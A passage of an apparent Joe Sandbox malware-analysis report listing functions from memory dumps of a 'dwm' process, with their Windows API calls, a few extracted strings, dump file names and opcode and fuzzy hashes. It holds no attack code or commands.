Instruction ID: 1b663cde0360d8c8db26766d203b6d56f14f2cde6653c6efc1e54205759498c7
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: AED1DD32714AA0C9E711CFA9E4482DC3BB5F355B98F80422ACE5EA7FD9DA35D40AC741

Function 00000262F1D11FA8 Relevance: 6.3, APIs: 4, Instructions: 304fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000262F1D12027
WriteFile.KERNEL32 ref: 00000262F1D12304
WriteFile.KERNEL32 ref: 00000262F1D1234A
GetLastError.KERNEL32 ref: 00000262F1D12409

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction ID: 49083cc7c75cdff89d7c6d43a0d48fc578fdb3828b1aa5443f4b46fa426b515f
Opcode Fuzzy Hash: 6e2b0015a5e192ecbb3898a491d5c4d6065fa3f656e88a841fb9fa74fea56143
Instruction Fuzzy Hash: 8FD1BC32B14AA4C9F711CFA9D4482DC37B1F358B98F94421ADE5EA7F99DA36C14AC340

Function 00000262F1CA14A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1CA14C6
HeapFree.KERNEL32 ref: 00000262F1CA14D5
GetProcessHeap.KERNEL32 ref: 00000262F1CA14E2
HeapFree.KERNEL32 ref: 00000262F1CA14F1
GetProcessHeap.KERNEL32 ref: 00000262F1CA1501

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: d967b33acd7811386b22dd1252d36948949cb6c49b86d9aab2a7b77248e2a471
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: B3015732610EA0DAE714DFA6A80C18977B4F788F80B894035DB4983BA9DE35D056CB40

Function 00000262F1D014A0 Relevance: 6.3, APIs: 5, Instructions: 40memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1D014C6
HeapFree.KERNEL32 ref: 00000262F1D014D5
GetProcessHeap.KERNEL32 ref: 00000262F1D014E2
HeapFree.KERNEL32 ref: 00000262F1D014F1
GetProcessHeap.KERNEL32 ref: 00000262F1D01501

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction ID: 3db3386ee1f72e4ed49c6479eba75fb857c08a44ca4b50c1aa7c66d5233b4831
Opcode Fuzzy Hash: cb2f76e5a78e817a83185cac88bc62ecdb24cbc77a47800d9d0442b9e443284d
Instruction Fuzzy Hash: 5C015332610EA4DAF715DF66A80C24977B0F78EF80B894125DF4963B28DE39D095CB40

Function 00000262F1CB28F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000262F1CB28DF), ref: 00000262F1CB2A12

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 653f4f0914c688eb29a4e81553b9718cd1af230477c01f00c4b0e94771059d8d
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: 5091D032A10E70C9FB60DF65985C3AD3BB0F354B88F84412ADE4A97ED5DA36D44AC302

Function 00000262F1D128F4 Relevance: 6.2, APIs: 4, Instructions: 229COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,00000000,00000000,00000262F1D128DF), ref: 00000262F1D12A12

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ConsoleMode
String ID:
API String ID: 4145635619-0
Opcode ID: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction ID: 86db011425f7ecdf19b2137fbf6a699eadb0259b66c0baa7fcb7fc8920cba963
Opcode Fuzzy Hash: 84db17c61f8644ba0c376578cd7e648754f889cd263a50ace8e4a54d342680a6
Instruction Fuzzy Hash: B891BE32710E64C9FB648F65945C3AD2BB1F358B98FA4410ADE4A77E99DB37C48AC700

Function 00000262F1CA8090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000262F1CA80BC
GetCurrentThreadId.KERNEL32 ref: 00000262F1CA80CA
GetCurrentProcessId.KERNEL32 ref: 00000262F1CA80D6
QueryPerformanceCounter.KERNEL32 ref: 00000262F1CA80E6

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 159d33562ee633f65dab8eb7953a72f3ce6f98d446c5ccc100398c868908d7a7
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: BA112736711F14CAEB00CFA0E8583A933B4F719758F840E31EA6D86BA4DF79C5688741

Function 00000262F1D08090 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000262F1D080BC
GetCurrentThreadId.KERNEL32 ref: 00000262F1D080CA
GetCurrentProcessId.KERNEL32 ref: 00000262F1D080D6
QueryPerformanceCounter.KERNEL32 ref: 00000262F1D080E6

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction ID: 411a9e7592866da603d4734d1106ea9ab63259f73d38ae0ef92540677e624784
Opcode Fuzzy Hash: 61e3724c6de8b17bf9a8ee54dd3d1bb067003c5f3b921a84847ee34476b0adea
Instruction Fuzzy Hash: E3112A36710F24CAFB00CF60E8583A833B4F719758F840E21EA6D96BA4DB7DC1588740

Function 00000262F1CA27E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000262F1CA28CC
StrCpyW.SHLWAPI ref: 00000262F1CA28E5

Part of subcall function 00000262F1CA3F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1CA272F), ref: 00000262F1CA3FA0

Strings

\\.\pipe\, xrefs: 00000262F1CA28D7

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 8775222173ae10e0894f2f42f16c5efeaca11e305c221ae0f841712a949e5fb3
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 8C718136210FB1C1E7769E66997C3AA67B4F385BC4F84003ADD4A83FC9DA36C9099741

Function 00000262F1D027E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000262F1D028CC
StrCpyW.SHLWAPI ref: 00000262F1D028E5

Part of subcall function 00000262F1D03F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1D0272F), ref: 00000262F1D03FA0

Strings

\\.\pipe\, xrefs: 00000262F1D028D7

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: eb21b1db9d2890474daa364902e642c7e395f5cfca9bb353ebb377dcf9f0e0b1
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 7C718076201FA1C6EB75DE2AA85C3AA6BB4F385FC4F84001ADD4953F8DDE76C6488740

Function 00000262F1D327E8 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000262F1D328CC
StrCpyW.SHLWAPI ref: 00000262F1D328E5

Part of subcall function 00000262F1D33F88: StrCmpNIW.SHLWAPI(?,?,?,00000262F1D3272F), ref: 00000262F1D33FA0

Strings

\\.\pipe\, xrefs: 00000262F1D328D7

Memory Dump Source

Source File: 00000012.00000002.3448872342.00000262F1D31000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D30000, based on PE: true

Associated: 00000012.00000002.3448816247.00000262F1D30000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448971011.00000262F1D45000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449077595.00000262F1D50000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449181058.00000262F1D52000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3449289748.00000262F1D59000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d30000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction ID: 95b4812c4243df05dd6c4af6569c302d9de3f2f76ec388ee9e0516f19df595d7
Opcode Fuzzy Hash: ff4f71be338cb0fe5049debcf5759f5669753ac72572a0d232f439ca1a0f8997
Instruction Fuzzy Hash: 8571B376600FA2D6EB75DF26995C3AA67B4F385BC4F85001ADE4943F88DE36C609C740

Function 00000262F1EB80A0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 154COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000262F1EB80CB
_IsNonwritableInCurrentImage.LIBCMT ref: 00000262F1EB8162

Strings

csm, xrefs: 00000262F1EB8149

Memory Dump Source

Source File: 00000012.00000003.1494451949.00000262F1EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000262F1EB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_262f1eb0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm
API String ID: 3242871069-1018135373
Opcode ID: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction ID: 70927160c160e34a0cb1da599a096c52cb2cb07f4ed8cd495422a8d80dd537f9
Opcode Fuzzy Hash: b80ff68eb806cf2b6af9fc4dc9cc0d46113cdbfcc8a0c2797bbdc03f84945619
Instruction Fuzzy Hash: 3C519D32312E20CAEB54CF56E44CF6933F1E754B98F958525AA4A47F88DB7AC849C700

Function 00000262F1EB9AFC Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 146COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000262F1EB9BA7

Strings

MOC, xrefs: 00000262F1EB9B6F
RCC, xrefs: 00000262F1EB9B77

Memory Dump Source

Source File: 00000012.00000003.1494451949.00000262F1EB0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000262F1EB0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_262f1eb0000_dwm.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction ID: 06b8a8ed03a40aba9fef35d76e367b5636339ae5a1880c122f8956085af7beb6
Opcode Fuzzy Hash: 17958f67cb0a17abd9ffe4ca5dea2288dd301e2c3aed8a7adc88a0e8f0f7cfb5
Instruction Fuzzy Hash: 05618972508BD4C2EB65CF26E44879AB7F0F785B88F844215EB9907F99CB79C198CB00

Function 00000262F1CA25DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000262F1CA26C2
StrCpyW.SHLWAPI ref: 00000262F1CA26D9

Strings

\\.\pipe\, xrefs: 00000262F1CA26CD

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 522cffc92ba39c9b59dda092ded2a90beb2573af3b1f17d97e46540ebe955f90
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: BE51C536204BB1C1E666DE25E46C3AA6B71F395B80F850039DD5983FD9DB3BCA08D742

Function 00000262F1D025DC Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000262F1D026C2
StrCpyW.SHLWAPI ref: 00000262F1D026D9

Strings

\\.\pipe\, xrefs: 00000262F1D026CD

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction ID: 533939c0233a0d39d731308ccfafa03c5104d3d9cb31c0c3b0f3074d03f90b96
Opcode Fuzzy Hash: bd677bffd8830a8f95fe5f2a714728342c990f231eb0fef724be370d7bbf4432
Instruction Fuzzy Hash: 0E51B236205BA1D1EE249E2AA45C3AA6AB1F3D5F90FD4002DDE5953F9EDB3BC408C740

Function 00000262F1CB2660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000262F1CB2778
GetLastError.KERNEL32 ref: 00000262F1CB279D

Strings

U, xrefs: 00000262F1CB2722

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 80e788c21a796cc57127bf29300a5be4cb479192ce7e77e3c9cffaf9cb26f3b8
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: 3441D032625EA0C6EB20DF25E44C79AA7B0F388784F800135EA4D87B98EB39D409CB41

Function 00000262F1D12660 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000262F1D12778
GetLastError.KERNEL32 ref: 00000262F1D1279D

Strings

U, xrefs: 00000262F1D12722

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction ID: 9e24c2ba2fe726d1578a8802a969402f098f4396a69a128bfd88e7a6d3208572
Opcode Fuzzy Hash: 608dbfc7eceb37b1c9531a955daf284e11a95c8252675cdfa91653c1712c9be4
Instruction Fuzzy Hash: BE41D232625EA4C6FB10CF65E44C79AA7B0F388794F944125EA4D97B98EB3AC449CB40

Function 00000262F1CA9178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000262F1CA91C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000262F1CA87F7), ref: 00000262F1CA9209

Strings

csm, xrefs: 00000262F1CA91F6

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447777990.00000262F1CC0000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447881409.00000262F1CC2000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447984338.00000262F1CC9000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1ca0000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 1315abed5f45fb5d346567c6d5517bcfb200c912c5e6d1cd3f492e82422f88ec
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: B2115832215F9082EB618B25F428259B7F1F788B84F984224EF8D47BA9DF3DC955CB00

Function 00000262F1D09178 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000262F1D091C8
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000262F1D087F7), ref: 00000262F1D09209

Strings

csm, xrefs: 00000262F1D091F6

Memory Dump Source

Source File: 00000012.00000002.3448257654.00000262F1D01000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1D00000, based on PE: true

Associated: 00000012.00000002.3448137506.00000262F1D00000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448432455.00000262F1D15000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448513222.00000262F1D20000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448655925.00000262F1D22000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3448714516.00000262F1D29000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_262f1d00000_dwm.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction ID: 56ae9dca0283ecd3853b444ed76c5aa75720ba9ac31bcefd39f9415ca68821c1
Opcode Fuzzy Hash: 0fa69785a085c04948c157334ebe0f5d9795e11839ffdc4193b8483db1e39a2c
Instruction Fuzzy Hash: 41115832214F9482EB248B25F458249B7F5F788B88F984224EE8D07B68DF3DC555CB00

Function 00000262F1CA1D30 Relevance: 5.0, APIs: 4, Instructions: 46memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000262F1CA1D69
HeapAlloc.KERNEL32 ref: 00000262F1CA1D77
GetProcessHeap.KERNEL32 ref: 00000262F1CA1D9C
HeapFree.KERNEL32 ref: 00000262F1CA1DAA

Memory Dump Source

Source File: 00000012.00000002.3447566780.00000262F1CA1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000262F1CA0000, based on PE: true

Associated: 00000012.00000002.3447461846.00000262F1CA0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.3447674523.00000262F1CB5000.00000002.00000001.00020000.00000000.sdmpDownload File
